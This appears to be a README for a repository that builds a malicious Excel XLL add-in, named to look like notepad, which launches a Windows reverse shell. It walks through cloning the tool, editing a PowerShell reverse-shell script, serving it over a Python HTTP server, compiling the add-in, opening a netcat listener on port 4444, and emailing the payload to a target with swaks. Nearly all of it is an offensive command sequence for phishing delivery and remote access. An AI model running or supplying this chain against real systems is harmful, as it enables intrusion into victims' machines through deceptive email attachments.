xll_windows_reverse_shell

xll windows reverse shell

In your Attacker (Kali) machine:

git clone https://github.com/n3rdh4x0r/xll_windows_reverse_shell.git

1. Update the revsh.ps1
2. create python http server

python3 -m http.server 9999

In your Attacker (Windows) machine:

1. Move notpadXLL.c to your windows attacker machine and update the notpadXLL.c accordingly.
2. Open x64 Native Tools Command Prompt for VS 2022
3. run below command to genarte notepad.xll

cl.exe /LD notepadXLL.c /link /out:notepad.xll

5. move this notepad.xll to your Kali machine

In your Kali Machine

1. download swaks

 curl -O https://jetmore.org/john/code/swaks/files/swaks-20240103.0/swaks

2. configure nc listner

nc -nlvp 4444

3. Use swaks to send an email with notepad.xll attached:

./swaks --to [email protected] --from [email protected] --server 10.10.11.21 --port 25 --header "Subject: test" --body "test" --attach @notepad.xll